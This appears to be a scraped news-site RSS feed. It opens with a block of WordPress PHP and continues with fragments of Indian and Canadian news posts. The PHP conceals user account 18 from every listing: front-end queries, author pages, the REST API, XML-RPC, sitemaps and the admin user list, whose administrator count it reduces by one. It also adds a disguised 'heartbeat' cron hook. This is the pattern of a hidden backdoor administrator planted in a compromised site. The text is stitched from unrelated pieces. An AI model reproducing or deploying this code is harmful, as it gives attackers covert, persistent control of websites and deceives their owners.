add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Tragic High School Shooting in British Columbia Leaves 10 Dead and Over 25 Injured appeared first on The Edge Media.
]]>
Public Safety Minister Mike Farnworth described the incident as heart-wrenching and assured that the government would provide all necessary support to the victims. Following the incident, an emergency alert was issued but later lifted once police confirmed there were no other suspects at large. Elementary and secondary schools in the Tumbler Ridge area have been closed for the remainder of the week.
Prime Minister Narendra Modi expressed deep grief over the incident in North America, sending condolences to Canadian Prime Minister Mark Carney and the families of the victims. He stated that India stands in solidarity with the people of Canada during this difficult time and wished a speedy recovery to those injured.
The post Tragic High School Shooting in British Columbia Leaves 10 Dead and Over 25 Injured appeared first on The Edge Media.
]]>The post Sri Lanka’s new Prime Minister takes charge and expresses gratitude to Prime Minister Modi appeared first on The Edge Media.
]]>
On Thursday, Ranil Wickremesinghe, 73, was sworn in as Sri Lanka’s 26th Prime Minister, to stabilize the country’s debt-ridden economy and put an end to political turbulence. Prime Minister Wickremesinghe expressed his desire for a closer partnership with India and expressed gratitude to Prime Minister Narendra Modi.
The post Sri Lanka’s new Prime Minister takes charge and expresses gratitude to Prime Minister Modi appeared first on The Edge Media.
]]>The post In the midst of the Afghan crisis, Prime Minister Modi convenes a high-level conference with Top Government Officials appeared first on The Edge Media.
]]>PM Modi, the Union Defence Minister, the Union Home Minister, the Union Finance Minister, and the Minister of External Affairs are all present at the Cabinet Committee on Security (CCS) meeting. The CCS is the highest governing body in charge of national security matters.
According to reports, the meeting featured Ajit Doval, the National Security Advisor, and Harsh Vardhan Shringla, the Foreign Secretary, as well as India’s Ambassador to Afghanistan, Rudrendra Tandon, who returned to India today
The post In the midst of the Afghan crisis, Prime Minister Modi convenes a high-level conference with Top Government Officials appeared first on The Edge Media.
]]>The post Find out about Eligibility and Benefits as PM Modi adds 1 Crore New Beneficiaries Today. appeared first on The Edge Media.
]]>The prime minister will hand over LPG connections, engage with Ujjwala recipients, and address the country during the occasion. According to the spokeswoman, the scheme’s first phase provided 1,47,43,862 LPG connections to the state’s underprivileged families. The second phase of the Ujjwala scheme will benefit those families who were left out of the first round, he said.
The application can be made offline by filling out the form and submitting it to the local LPG distribution agency. In the online option, the applicant can connect to the official website pmujjwalayojana.com and download the application form, which must then be submitted to the nearest LPG center.
The post Find out about Eligibility and Benefits as PM Modi adds 1 Crore New Beneficiaries Today. appeared first on The Edge Media.
]]>